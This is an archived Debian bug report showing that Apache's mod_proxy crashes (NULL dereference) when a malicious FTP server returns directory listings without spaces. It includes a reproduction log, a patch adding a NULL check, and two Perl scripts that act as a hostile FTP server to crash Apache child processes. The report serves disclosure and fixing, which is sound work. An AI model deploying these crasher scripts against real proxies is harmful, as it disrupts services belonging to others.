[Date Prev][Date Next] [Thread Prev][Thread Next] [Date Index] [Thread Index]

Bug#404267: apache-common: mod_proxy segfaults (NULL deref.) when FTP server sends back no spaces



Subject: apache-common: mod_proxy segfaults (NULL deref.) when FTP server sends back no spaces
Package: apache-common
Version: 1.3.34-4
Severity: important
Tags: patch

Hello,

I have found a NULL dereferencing bug in mod_proxy. If there is a malicious remote
FTP server and someone uses Apache and mod_proxy to connect to that FTP server,
the server can reply to "LIST" with a directory listing showing directories or
ordinary files with no spaces whatsoever in the line. There is a strrchr(3) call
with no check if it returns NULL, and the code afterwards crashes the Apache child
when the server sends back such lines without spaces.

The bug both affects the 1.3.x and 2.x branches of Apache.

I do not see any security implications to this bug, despite the remote crashing, as
it only seems possible to use it to crash the Apache child and not the main process,
no matter what MPM you use.

This was reported to upstream a few months ago:

  o  http://issues.apache.org/bugzilla/show_bug.cgi?id=40733

// Ulf Harnhammar


metaur:~# fgrep ftpspecial /etc/services
ftpspecial      1096/tcp
ftpspecial      1096/udp
metaur:~# tail -n2 /etc/inetd.conf
ftp     stream  tcp     nowait  root  /usr/bin/perl perl /root/apache-crasher.pl
ftpspecial      stream  tcp     nowait  root    /usr/bin/perl perl /root/apache-crasher2.pl
metaur:~# fgrep -A33 'mod_proxy' /etc/apache/httpd.conf
<IfModule mod_proxy.c>
    #
    # Proxy Server directives. Uncomment the following lines to
    # enable the proxy server:
    #
    ProxyRequests On

    <Directory proxy:*>
        Order deny,allow
        Deny from all
        Allow from 127.0.0.1
    </Directory>


    #
    # Enable/disable the handling of HTTP/1.1 "Via:" headers.
    # ("Full" adds the server version; "Block" removes all outgoing Via: headers)
    # Set to one of: Off | On | Full | Block
    #
    #ProxyVia On

    #
    # To enable the cache as well, edit and uncomment the following lines:
    # (no cacheing without CacheRoot)
    #
    #CacheRoot "/var/cache/apache"
    #CacheSize 5
    #CacheGcInterval 4
    #CacheMaxExpire 24
    #CacheLastModifiedFactor 0.1
    #CacheDefaultExpire 1
    #NoCache a_domain.com another_domain.edu joes.garage_sale.com

</IfModule>
metaur:~# nc localhost 80
GET ftp://localhost/ HTTP/1.0

metaur:~# cd /var/log/apache
metaur:/var/log/apache# cat access.log
metaur:/var/log/apache# cat error.log
[Sat Dec 23 00:11:53 2006] [notice] Apache configured -- resuming normal operations
[Sat Dec 23 00:11:53 2006] [notice] Accept mutex: sysvsem (Default: sysvsem)
[Sat Dec 23 00:13:25 2006] [notice] child pid 20656 exit signal Segmentation fault (11)
metaur:/var/log/apache# cd
metaur:~#


-- System Information:
Debian Release: 4.0
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (i686)
Shell:  /bin/sh linked to /bin/bash
Kernel: Linux 2.4.27-3-686
Locale: LANG=en_US, LC_CTYPE=en_US (charmap=ISO-8859-1)

Versions of packages apache-common depends on:
ii  apache2-utils         2.2.3-3.2          utility programs for webservers
ii  debconf [debconf-2.0] 1.5.8              Debian configuration management sy
ii  dillo [www-browser]   0.8.5-4            Small and fast web browser
ii  elinks [www-browser]  0.11.1-1.2         advanced text-mode WWW browser
ii  epiphany-browser [www 2.14.3-3           Intuitive GNOME web browser
ii  firefox [www-browser] 1.5.dfsg+1.5.0.7-2 lightweight web browser based on M
ii  galeon [www-browser]  2.0.2-4            GNOME web browser for advanced use
ii  konqueror [www-browse 4:3.5.5a.dfsg.1-2  KDE's advanced file manager, web b
ii  libc6                 2.3.6.ds1-8        GNU C Library: Shared libraries
ii  libdb4.4              4.4.20-8           Berkeley v4.4 Database Libraries [
ii  libexpat1             1.95.8-3.3         XML parsing C library - runtime li
ii  links2 [www-browser]  2.1pre26-4         Web browser running in both graphi
ii  lynx [www-browser]    2.8.5-2sarge2.2    Text-mode WWW Browser
ii  mime-support          3.39-1             MIME files 'mime.types' & 'mailcap
ii  perl                  5.8.8-6.1          Larry Wall's Practical Extraction 
ii  sed                   4.1.5-1            The GNU sed stream editor
ii  ucf                   2.0017             Update Configuration File: preserv

apache-common recommends no packages.

-- debconf information excluded

--- src/modules/proxy/proxy_ftp.c.old	2006-12-22 23:44:57.000000000 +0100
+++ src/modules/proxy/proxy_ftp.c	2006-12-23 00:23:13.000000000 +0100
@@ -357,33 +357,38 @@ static long int send_dir(BUFF *data, req
             }
 
             filename = strrchr(buf, ' ');
-            *(filename++) = 0;
-
-            /* handle filenames with spaces in 'em */
-            if (!strcmp(filename, ".") || !strcmp(filename, "..") || firstfile) {
-                firstfile = 0;
-                searchidx = filename - buf;
-            }
-            else if (searchidx != 0 && buf[searchidx] != 0) {
-                *(--filename) = ' ';
-                buf[searchidx - 1] = 0;
-                filename = &buf[searchidx];
-            }
-
-            /* Special handling for '.' and '..': append slash to link */
-            if (!strcmp(filename, ".") || !strcmp(filename, "..") || buf[0] == 'd') {
-                ap_snprintf(buf2, buf_size, "%s <a href=\"%s/\">%s</a>\n",
-                         ap_escape_html(p, buf), ap_escape_uri(p, filename),
-                            ap_escape_html(p, filename));
-            }
-            else {
-                ap_snprintf(buf2, buf_size, "%s <a href=\"%s\">%s</a>\n",
-                            ap_escape_html(p, buf),
-                            ap_escape_uri(p, filename),
-                            ap_escape_html(p, filename));
+            if (filename == NULL) {
+                ap_log_rerror(APLOG_MARK, APLOG_ERR, c->req,
+                              "proxy: error parsing %s", buf);
+            } else {
+                *(filename++) = 0;
+
+                /* handle filenames with spaces in 'em */
+                if (!strcmp(filename, ".") || !strcmp(filename, "..") || firstfile) {
+                    firstfile = 0;
+                    searchidx = filename - buf;
+                }
+                else if (searchidx != 0 && buf[searchidx] != 0) {
+                    *(--filename) = ' ';
+                    buf[searchidx - 1] = 0;
+                    filename = &buf[searchidx];
+                }
+
+                /* Special handling for '.' and '..': append slash to link */
+                if (!strcmp(filename, ".") || !strcmp(filename, "..") || buf[0] == 'd') {
+                    ap_snprintf(buf2, buf_size, "%s <a href=\"%s/\">%s</a>\n",
+                             ap_escape_html(p, buf), ap_escape_uri(p, filename),
+                                ap_escape_html(p, filename));
+                }
+                else {
+                    ap_snprintf(buf2, buf_size, "%s <a href=\"%s\">%s</a>\n",
+                                ap_escape_html(p, buf),
+                                ap_escape_uri(p, filename),
+                                ap_escape_html(p, filename));
+                }
+                ap_cpystrn(buf, buf2, buf_size);
+                n = strlen(buf);
             }
-            ap_cpystrn(buf, buf2, buf_size);
-            n = strlen(buf);
         }
         /* else??? What about other OS's output formats? */
         else {
#!/usr/bin/perl --

# apache-crasher.pl
# by Ulf Harnhammar in 2004-2006
# I hereby place this program in the public domain.

use strict;
use Socket;

$main::loggedin = 0;


sub mysend($)
{
  print "$_[0]\015\012";
} # sub mysend($)


sub myreceive($)
{
  my $inp = '';

  $inp = <STDIN>; $inp =~ tr/\015\012\000//d;
  $_[0] = $inp;
} # sub myreceive($)


$main::ipline = `/sbin/ifconfig | egrep '^ *inet addr:' | fgrep -v '127.0.0.1'`;
$main::ipline =~ s|^ *inet addr:||;
$main::ipline =~ s|^([0-9.]+).*$|$1|s;
die "don't know my address\n" unless $main::ipline;
$main::ipline =~ tr/./,/;

$|++;
mysend('220 Welcome to apache crasher 0.1.0 !!');

while (1)
{
  my ($str, $savestr, $reststr) = ('', '', '');

  alarm 5;
  myreceive($str);
  alarm 0;
  $savestr = $str;
  $str =~ s|^([A-Z]+) *(.*)$|$1|;
  $reststr = $2;

  if ($str eq 'USER')
  {
    mysend('331 Anonymous access allowed, send identity (e-mail name) '.
           'as password.');
    $main::loggedin = 1;
    next;
  }

  if (($str eq 'PASS') && ($main::loggedin == 1))
  { mysend('230 Anonymous user logged in.'); $main::loggedin = 2; next; }

  if ($main::loggedin < 2)
  { mysend("500 '$savestr': Command not understood."); next; }

  if ($str eq 'SYST')
  { mysend('215 Windows_NT'); next; }

  if ($str eq 'PWD')
  { mysend('257 "/" is current directory.'); next; }

  if ($str eq 'TYPE')
  { mysend("200 Type set to $reststr."); next; }

  if ($str eq 'PASV')
  {
    mysend("227 Entering Passive Mode ($main::ipline,4,72)"); next;
  }

  if ($str eq 'LIST')
  {
    sleep 2;
    mysend('226 Transfer complete.');
    next;
  }

  if ($str eq 'QUIT')
  {
    mysend('221  Thanks for using apache crasher 0.1.0 !');
    exit 0;
  }

  mysend("500 '$savestr': Command not understood.");
} # while 1


__END__
#!/usr/bin/perl --

# apache-crasher2.pl
# by Ulf Harnhammar in 2006
# I hereby place this program in the public domain.

print '-rwxrwxrwx_______________________'.
      "Apache_Crasher_0.1.0\015\012";

Reply to: